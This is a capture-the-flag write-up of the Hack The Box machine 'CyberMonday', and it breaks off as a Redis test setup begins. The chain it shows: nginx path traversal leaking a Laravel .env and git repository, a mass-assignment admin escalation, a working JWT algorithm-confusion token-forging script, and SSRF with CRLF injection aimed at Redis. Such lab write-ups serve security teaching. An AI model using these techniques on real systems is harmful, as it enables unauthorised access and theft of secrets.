Post

HTB CyberMonday (Machine Insane)

HTB Machine CyberMonday by Ethicxz

HTB CyberMonday (Machine Insane)

Before Starting

1
2
Me > 10.10.14.79
Target > 10.129.229.35
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 7468141fa1c048e50d0a926afbc10cd8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDbPwnZOtsLiHoJ50wld9btL2CJQZ/0Eb0z5zrFdv1cyQeOikJxCrRxv52TQyIaXVR7ilfVefd96ziGSwkhQ4KBEpmFShFQ5iejQ5tSLNn3T0/Dqv8EzlIM2tAl4hxNZVrUmmSgnIqxQ55WFnd8DmBWcgsiQoA1R0q58NHuor/iXqlmZd1INoxP4+aowFvep8mFQ4VPcJVkhuw/aa+9B2h5fitqBLtPlVszkZN7DLjuczBnFsZtn6w2RXmMyrCTh1AipYyqYUw1zFIbC1MoNsbX+CPkS0A1CnyVvRsuphzRrYaJjCMoSKf4mn/4yXYe0uEcP3YfRUhaYzmGNQYkKUwn4TyiUNhupjKXDMmcSlg+riHy+mh6/1Qk9GzdFa6tYI/WGVxa6UIV45Ey9hWWRX5wDxpyWVKi7JzMY6YTo71MbTb2fH2yTaehX4dNic7vxXZ+6/UGe5FJmfEfGQUZMx595opdbK9QBE6KkdUF4z6FtpvrRG1fOR+ONE4RBdB5Vc=
|   256 f7109dc0d1f383f20525aadb080e8e4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPqjft8DkA+F2fR8oNN07zjLVwOC5Hkz6+vwGxnjO7uVLyuBnRdVn5FBpPe5CMrQrAHGGQ/rAEPLzQDhsM4H2aE=
|   256 2f6408a9af1ac5cf0f0b9bd295f59232 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMvDZo4pZflw0+bMt2zXY2uMRmzom2pXZSH2Wa0pXMwz
80/tcp open  http    syn-ack ttl 62 nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

User

Off By Slash

Going on the site, there is nothing interesting, just a page on which we can register/login and view some products :

alt text

alt text

But there is ONE interesting thing, the website is using nginx

Running out of ideas, we could consider using off by slash on nginx - For a first PoC, we could try accessing server-status :

See this post for more informations about this vuln

So for example, if we fuzz a little bit we can find this :

1
2
3
4
5
6
7
8
gobuster dir -w `fzf-wordlists` -u http://cybermonday.htb/

===============================================================

/.htaccess            (Status: 200) [Size: 603]
/api/user             (Status: 302) [Size: 358] [--> http://cybermonday.htb/login]
/login                (Status: 200) [Size: 5675]
/assets               (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets/]
1
2
3
4
5
6
7
8
curl --path-as-is -XGET http://cybermonday.htb/assets/
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.25.1</center>
</body>
</html>

/assets is the one that interests us most because it returns a 403

We can confirme it works because /assets/ returns 403 but /assets.. returns a 301

And also because /random_here/toto returns X-Powered-By: PHP/8.1.20 but /assets/toto is only returning nginx server header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
curl --path-as-is -v -XGET http://cybermonday.htb/random_here/toto
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.129.229.35:80...
* Connected to cybermonday.htb (10.129.229.35) port 80 (#0)
> GET /random_here/toto HTTP/1.1
> Host: cybermonday.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.25.1
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< # HERE -----> X-Powered-By: PHP/8.1.20
< Cache-Control: no-cache, private
< date: Tue, 03 Feb 2026 19:53:53 GMT

curl --path-as-is -v -XGET http://cybermonday.htb/assets/toto
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.129.229.35:80...
* Connected to cybermonday.htb (10.129.229.35) port 80 (#0)
> GET /assets/toto HTTP/1.1
> Host: cybermonday.htb
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.25.1
< Date: Tue, 03 Feb 2026 19:53:57 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive

Ok it’s cool but which type of files we can retrieve now ?

For now, apart from guessing, there’s not much we can do, but we don’t like guessing so let’s try to find more informations

I found a bug who talks a lot, if we register 2 times a user - We’re going to cause an error that will leak a lot of information to us

First register

alt text

Second register

alt text

So now we have ONE crucial information, the website is using Laravel

This allows us to learn more about what types of files we could grab

On laravel, the most critical file is the .env file, ok let’s try :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl --path-as-is -XGET http://cybermonday.htb/assets../.env

APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db

alt text

Another, slightly less classy, ​​way would be to just fuzz with GoBuster ;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gobuster dir -w `fzf-wordlists` -u http://cybermonday.htb/assets../

===============================================================

/.dockerignore        (Status: 200) [Size: 10]
/.env                 (Status: 200) [Size: 1081]
/.editorconfig        (Status: 200) [Size: 258]
/.git                 (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets../.git/]
/.git/                (Status: 403) [Size: 153]
/.git/HEAD            (Status: 200) [Size: 23]
/.git/logs/           (Status: 403) [Size: 153]
/.git/config          (Status: 200) [Size: 92]
/.git/logs/refs       (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets../.git/logs/refs/]
/.git/logs/HEAD       (Status: 200) [Size: 147]
/.gitattributes       (Status: 200) [Size: 152]
/.gitignore           (Status: 200) [Size: 179]
/.git/index           (Status: 200) [Size: 12277]
/composer.json        (Status: 200) [Size: 1813]
/composer.lock        (Status: 200) [Size: 288045]
/config/              (Status: 403) [Size: 153]
/database             (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets../database/]
/database/            (Status: 403) [Size: 153]
/Dockerfile           (Status: 200) [Size: 435]
/package.json         (Status: 200) [Size: 473]
/phpunit.xml          (Status: 200) [Size: 1175]
/README.md            (Status: 200) [Size: 3958]
/tests                (Status: 301) [Size: 169] [--> http://cybermonday.htb/assets../tests/]

Yeah it’s easier…

Ok let’s grab EVERYTHING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
➜ curl --path-as-is -XGET http://cybermonday.htb/assets../Dockerfile -o Dockerfile

➜ python3 git-dumper/git_dumper.py 'http://cybermonday.htb/assets../.git' toto

➜ ls -la toto

drwxrws--- 13 root rvm   4096 Feb  3 21:07 .
drwxrws---  4 root rvm   4096 Feb  3 21:07 ..
drwxrws---  7 root rvm   4096 Feb  3 21:07 app
-rwxrwx---  1 root rvm   1686 Feb  3 21:07 artisan
drwxrws---  3 root rvm   4096 Feb  3 21:07 bootstrap
-rw-rw----  1 root rvm   1776 Feb  3 21:07 composer.json
-rw-rw----  1 root rvm 288045 Feb  3 21:07 composer.lock
drwxrws---  2 root rvm   4096 Feb  3 21:07 config
drwxrws---  5 root rvm   4096 Feb  3 21:07 database
-rw-rw----  1 root rvm    258 Feb  3 21:07 .editorconfig
-rw-rw----  1 root rvm    912 Feb  3 21:07 .env.example
drwxrws---  7 root rvm   4096 Feb  3 21:07 .git
-rw-rw----  1 root rvm    152 Feb  3 21:07 .gitattributes
-rw-rw----  1 root rvm    179 Feb  3 21:07 .gitignore
drwxrws---  3 root rvm   4096 Feb  3 21:07 lang
-rw-rw----  1 root rvm    473 Feb  3 21:07 package.json
-rw-rw----  1 root rvm   1175 Feb  3 21:07 phpunit.xml
drwxrws---  2 root rvm   4096 Feb  3 21:07 public
-rw-rw----  1 root rvm   3958 Feb  3 21:07 README.md
drwxrws---  6 root rvm   4096 Feb  3 21:07 resources
drwxrws---  2 root rvm   4096 Feb  3 21:07 routes
drwxrws---  5 root rvm   4096 Feb  3 21:07 storage
-rw-rw----  1 root rvm    162 Feb  3 21:07 .styleci.yml
drwxrws---  4 root rvm   4096 Feb  3 21:07 tests
-rw-rw----  1 root rvm    559 Feb  3 21:07 webpack.mix.js

Mass Assignment

By reviewing the code, i saw theses files :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// app/Http/Middleware/AuthenticateAdmin.php

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class AuthenticateAdmin
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure(\Illuminate\Http\Request): (\Illuminate\Http\Response|\Illuminate\Http\RedirectResponse)  $next
     * @return \Illuminate\Http\Response|\Illuminate\Http\RedirectResponse
     */
    public function handle(Request $request, Closure $next)
    {
        if(auth()->user()->isAdmin)
        {
            return $next($request);
        }else{
            return back();
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// app/Http/Controllers/ProfileController.php

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;

class ProfileController extends Controller
{
    public function index()
    {
        return view('home.profile', [
            'title' => 'Profile'
        ]);
    }

    public function update(Request $request)
    {
        $data = $request->except(["_token","password","password_confirmation"]);
        $user = User::where("id", auth()->user()->id)->first();

        if(isset($request->password) && !empty($request->password))
        {
            if($request->password != $request->password_confirmation)
            {
                session()->flash('error','Password dont match');
                return back();
            }

            $data['password'] = bcrypt($request->password);
        }

        $user->update($data);
        session()->flash('success','Profile updated');

        return back();
    }
}

As you can see here, there is a mass assignment - The mass assignment vulnerability lies in how the $data array is constructed and subsequently passed to the update method

1
2
3
$data = $request->except(["_token","password","password_confirmation"]);
// ...
$user->update($data);

The code uses a blocklist approach rather than an allowlist approach - It explicitly removes specific fields (_token, password, etc) but implicitly trusts and accepts everything else contained in the request

So we can update our profile, intercept the request and add everything we want in the request

1
2
3
4
5
6
7
8
9
POST /home/update HTTP/1.1
...
_token=ATIDbpBukhxvJRnFg8nkxZzDTB9AGnRXD2xTuX0n&username=gg&email=sasa%40gmail.com&password=&password_confirmation=&isAdmin=1

===============================================================

HTTP/1.1 302 Found
...
Redirecting to <a href="http://cybermonday.htb/home/profile">http://cybermonday.htb/home/profile

Then we can access to dashboard

alt text

Ok nice !!

Discover a subdomain and play with api

A new subdomain can be discovered on http://cybermonday.htb/dashboard/changelog

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
➜ curl -XGET 'http://webhooks-api-beta.cybermonday.htb/' | jq

{
  "status": "success",
  "message": {
    "routes": {
      "/auth/register": {
        "method": "POST",
        "params": [
          "username",
          "password"
        ]
      },
      "/auth/login": {
        "method": "POST",
        "params": [
          "username",
          "password"
        ]
      },
      "/webhooks": {
        "method": "GET"
      },
      "/webhooks/create": {
        "method": "POST",
        "params": [
          "name",
          "description",
          "action"
        ]
      },
      "/webhooks/delete:uuid": {
        "method": "DELETE"
      },
      "/webhooks/:uuid": {
        "method": "POST",
        "actions": {
          "sendRequest": {
            "params": [
              "url",
              "method"
            ]
          },
          "createLogFile": {
            "params": [
              "log_name",
              "log_content"
            ]
          }
        }
      }
    }
  }
}

Ok let’s play with this api

1
2
3
4
5
6
➜ curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/register' -H "Content-Type: application/json" -d '{"username":"tata", "password":"tata"}' | jq

{
  "status": "success",
  "message": "success"
}
1
2
3
4
5
6
7
8
➜ curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/login' -H "Content-Type: application/json" -d '{"username":"tata", "password":"tata"}' | jq

{
  "status": "success",
  "message": {
    "x-access-token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6InVzZXIifQ.amYzb84LWDb6yKv96-f0RCMX9qJIiZq2UCw3U8AlYjpNfprnaYZNh_DNNQcHO1Ohlyjabf1sc93ZOeYWhHVJgT_WmB1pwHo61VwzbqCvxjeOgm_0ewWARR9W_C63xVUdov1W0Ag26Yuk1LqQqNNrt1a57cnbj99uXySsefKpxJ17fkhRhRPB-JCpgW7okvynO2Pg9dycrt6fEfQRDNwLwfFiKpXm6WUdcQrLN87J_rCdaKONCeQ_IqEf5mucSHUj7BH7PC3GfKqjY_5zbEpZG67u_TRIf09GkH7nOHZiZ5jB3ARi70gHyQOkZvHz6_nHPXZSJTo2jKmVeTTahLtcEQ"
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ curl -v -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJ0aXRpIiwicm9sZSI6InVzZXIifQ.hQY1AVdZJ4g5jljRtyQ0QHhVug6iNAL-ARqUMSUpaILd4Q2eeYA2JLurdCHkly7GlD4KG6YO1a7-honQRZPqtJeVFpD8DnUPV7bMqMrZOUApi0X8nOtZM0YUMAerr4MhSfvw5ay4N1JoQFRfK6WOfHCjmphgc_wRQ3VhY5KyQWRKFvlD-79BjFqqlUDn04kq3-7_d2bMmswKQp0tKhnarxNAjIPImWDsDxnE1pWyup44Rq8LwH-8T-MUlwcqeyHel2NuLzqLUQiU1iEoEjW2sXI3iYir6iVBvfkolfjxnha6pWtP1HwEmR7P-Uk2jfQO5yHm6WTpkL0CHwsF-Fbjyg" http://webhooks-api-beta.cybermonday.htb/webhooks | jq

{
  "status": "success",
  "message": [
    {
      "id": 1,
      "uuid": "fda96d32-e8c8-4301-8fb3-c821a316cf77",
      "name": "tests",
      "description": "webhook for tests",
      "action": "createLogFile"
    }
  ]
}
1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJ0aXRpIiwicm9sZSI6InVzZXIifQ.hQY1AVdZJ4g5jljRtyQ0QHhVug6iNAL-ARqUMSUpaILd4Q2eeYA2JLurdCHkly7GlD4KG6YO1a7-honQRZPqtJeVFpD8DnUPV7bMqMrZOUApi0X8nOtZM0YUMAerr4MhSfvw5ay4N1JoQFRfK6WOfHCjmphgc_wRQ3VhY5KyQWRKFvlD-79BjFqqlUDn04kq3-7_d2bMmswKQp0tKhnarxNAjIPImWDsDxnE1pWyup44Rq8LwH-8T-MUlwcqeyHel2NuLzqLUQiU1iEoEjW2sXI3iYir6iVBvfkolfjxnha6pWtP1HwEmR7P-Uk2jfQO5yHm6WTpkL0CHwsF-Fbjyg" -d '{"name": "toto", "description": "toto", "action": "createLogFile"}' -H "Content-type: application/json"

{"status":"error","message":"Unauthorized"}

Forge an admin token

1
2
3
4
5
6
7
8
9
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6InVzZXIifQ.amYzb84LWDb6yKv96-f0RCMX9qJIiZq2UCw3U8AlYjpNfprnaYZNh_DNNQcHO1Ohlyjabf1sc93ZOeYWhHVJgT_WmB1pwHo61VwzbqCvxjeOgm_0ewWARR9W_C63xVUdov1W0Ag26Yuk1LqQqNNrt1a57cnbj99uXySsefKpxJ17fkhRhRPB-JCpgW7okvynO2Pg9dycrt6fEfQRDNwLwfFiKpXm6WUdcQrLN87J_rCdaKONCeQ_IqEf5mucSHUj7BH7PC3GfKqjY_5zbEpZG67u_TRIf09GkH7nOHZiZ5jB3ARi70gHyQOkZvHz6_nHPXZSJTo2jKmVeTTahLtcEQ" | base64 -d
{"typ":"JWT","alg":"RS256"}base64: invalid input

➜ python3

>>> import jwt
>>> cookie = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6InVzZXIifQ.amYzb84LWDb6yKv96-f0RCMX9qJIiZq2UCw3U8AlYjpNfprnaYZNh_DNNQcHO1Ohlyjabf1sc93ZOeYWhHVJgT_WmB1pwHo61VwzbqCvxjeOgm_0ewWARR9W_C63xVUdov1W0Ag26Yuk1LqQqNNrt1a57cnbj99uXySsefKpxJ17fkhRhRPB-JCpgW7okvynO2Pg9dycrt6fEfQRDNwLwfFiKpXm6WUdcQrLN87J_rCdaKONCeQ_IqEf5mucSHUj7BH7PC3GfKqjY_5zbEpZG67u_TRIf09GkH7nOHZiZ5jB3ARi70gHyQOkZvHz6_nHPXZSJTo2jKmVeTTahLtcEQ"
>>> jwt.decode(cookie, options={"verify_signature": False})
{'id': 4, 'username': 'tata', 'role': 'user'}

Ok so the jwt is like that

1
{"typ":"JWT","alg":"RS256"}{"id":4,"username":"tata","role":"user"}

Ok let’s enumerate a bit

1
2
3
4
5
6
➜ gobuster dir -w `fzf-wordlists` -u http://webhooks-api-beta.cybermonday.htb/

===============================================================

/.htaccess            (Status: 200) [Size: 602]
/jwks.json            (Status: 200) [Size: 447]
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ curl http://webhooks-api-beta.cybermonday.htb/jwks.json | jq

{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
      "e": "AQAB"
    }
  ]
}

Ok nice !!

Then we can forge an admin cookie like that

1
{'id': 4, 'username': 'tata', 'role': 'admin'}

We can use this python script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
import hmac
import hashlib
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

n_str = "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w"
e_str = "AQAB"

def ensure_padding(s):
    return s + '=' * (4 - len(s) % 4)

n = int.from_bytes(base64.urlsafe_b64decode(ensure_padding(n_str)), byteorder='big')
e = int.from_bytes(base64.urlsafe_b64decode(ensure_padding(e_str)), byteorder='big')
public_key = rsa.RSAPublicNumbers(e, n).public_key()

pem_public_key = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

def b64url_encode(data_bytes):
    return base64.urlsafe_b64encode(data_bytes).rstrip(b'=')

header_json = '{"typ":"JWT","alg":"HS256"}'
b64_header = b64url_encode(header_json.encode('utf-8'))

payload_json = '{"id":4,"username":"tata","role":"admin"}'
b64_payload = b64url_encode(payload_json.encode('utf-8'))

signing_input = b64_header + b'.' + b64_payload

signature = hmac.new(
    key=pem_public_key,
    msg=signing_input,
    digestmod=hashlib.sha256
).digest()

b64_signature = b64url_encode(signature)
forged_token = signing_input + b'.' + b64_signature
print(f"[+] Token Admin Forgé : {forged_token.decode('utf-8')}")

Check this post

1
2
3
➜ python3 test.py

[+] Token Admin Forgé : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc

Ok and now if we try this token :

1
2
3
4
5
6
➜ python3

>>> import jwt
>>> cookie = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc"
>>> jwt.decode(cookie, options={"verify_signature": False})
{'id': 4, 'username': 'tata', 'role': 'admin'}
1
2
3
4
5
6
7
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"name": "jqpoc", "description": "jqpoc", "action": "createLogFile"}' -H "Content-type: application/json" | jq

{
  "status": "success",
  "message": "Done! Send me a request to execute the action, as the event listener is still being developed.",
  "webhook_uuid": "99e24dea-6b0e-47ab-b228-bf8570eca74e"
}

Ok so now, what we can do ?

yay

SSRF

By looking again on every things we can do with this api, we can see this

1
2
3
4
5
6
7
8
9
10
11
curl http://webhooks-api-beta.cybermonday.htb/ | jq

"/webhooks/:uuid": {
    "method": "POST",
    "actions": {
        "sendRequest": {
            "params": [
              "url",
              "method"
            ]
          },

Let’s try to SSRF towards us

1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"name": "ssrf", "description": "ssrf", "action": "sendRequest"}' -H "Content-type: application/json"

{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"2a058bd3-3f69-4ccf-9991-9f7799e3b608"}
1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/2a058bd3-3f69-4ccf-9991-9f7799e3b608 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"url": "http://10.10.14.79:8000/poc_ssrf", "method": "GET"}' -H "Content-type: application/json"

{"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n    <head>\n        <meta charset=\"utf-8\">\n        <title>Error response<\/title>\n    <\/head>\n    <body>\n        <h1>Error response<\/h1>\n        <p>Error code: 404<\/p>\n        <p>Message: File not found.<\/p>\n        <p>Error code explanation: 404 - Nothing matches the given URI.<\/p>\n    <\/body>\n<\/html>\n"}

alt text

yay

Welcome to the hell - SSRF -> CRLF -> Redis -> Laravel Deserialization

Do you remember the .env file we retrieved at the very beginning ? We’ll need it now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb

We know there is a redis and we have the APP_KEY

We have a LOT of informations here and we can very quickly get a headache so let’s put everything we have :

  • Redis
  • Laravel (with APP_KEY)
  • An api to SSRF
  • skills + a happy life…

Now we need to combine all theses things to gain an access

First, let’s deep in the SSRF - Earlier we did this :

1
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/2a058bd3-3f69-4ccf-9991-9f7799e3b608 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"url": "http://10.10.14.79:8000/poc_ssrf", "method": "GET"}' -H "Content-type: application/json"

But we can decide which method we are using right ?

For example

1
2
3
4
5
6
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/2a058bd3-3f69-4ccf-9991-9f7799e3b608 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"url": "http://10.10.14.79:8000/poc_ssrf", "method": "ethicxztototititatataorafokazkfazkfazfjna"}' -H "Content-type: application/json"

➜ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.229.35 - - [03/Feb/2026 23:27:18] code 501, message Unsupported method ('ethicxztototititatataorafokazkfazkfazfjna')
10.129.229.35 - - [03/Feb/2026 23:27:18] "ethicxztototititatataorafokazkfazkfazfjna /poc_ssrf HTTP/1.1" 501 -

Ok nice, first victory

We can see that the server reflects whatever we put in the method field - This suggests a potential CRLF Injection

If we can inject carriage returns and line feeds \r\n - We can break out of the HTTP Method definition and inject arbitrary commands into the TCP stream

Let’s verify this hypothesis :

1
2
3
4
5
6
7
8
9
10
11
12
13
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/2a058bd3-3f69-4ccf-9991-9f7799e3b608 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"url": "http://10.10.14.79:6379/poc_ssrf", "method": "\r\nGET\r\n"}' -H "Content-type: application/json"

➜ nc -lvnp 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6379
Ncat: Listening on 0.0.0.0:6379
Ncat: Connection from 10.129.229.35.
Ncat: Connection from 10.129.229.35:32836.

GET
 /poc_ssrf HTTP/1.1
Host: 10.10.14.79:6379
Accept: */*

This confirms the vulnerability - The server didn’t sanitize our input, instead of sending a standard METHOD URL HTTP/1.1

Redis is a line-based text protocol

It is surprisingly tolerant of garbage data - If we send an HTTP request to Redis, it will error out on the HTTP headers, but it will execute any valid Redis commands found on new lines

We can see an exemple in this good post

Since we have the APP_KEY and we know SESSION_DRIVER=redis - We can think about this path :

  1. Create a PHP Object (using PHPGGC and the APP_KEY) that executes code upon deserialization
  2. Use the SSRF + CRLF injection to send a SET command to Redis
  3. Store the malicious payload inside a Laravel session key
  4. GO TO BED

alt text

Let’s start the debug part - We are going to set up a Redis server to make some test

1
2
3
4
5
6
7
8
9
➜  docker run -p 6379:6379 redis

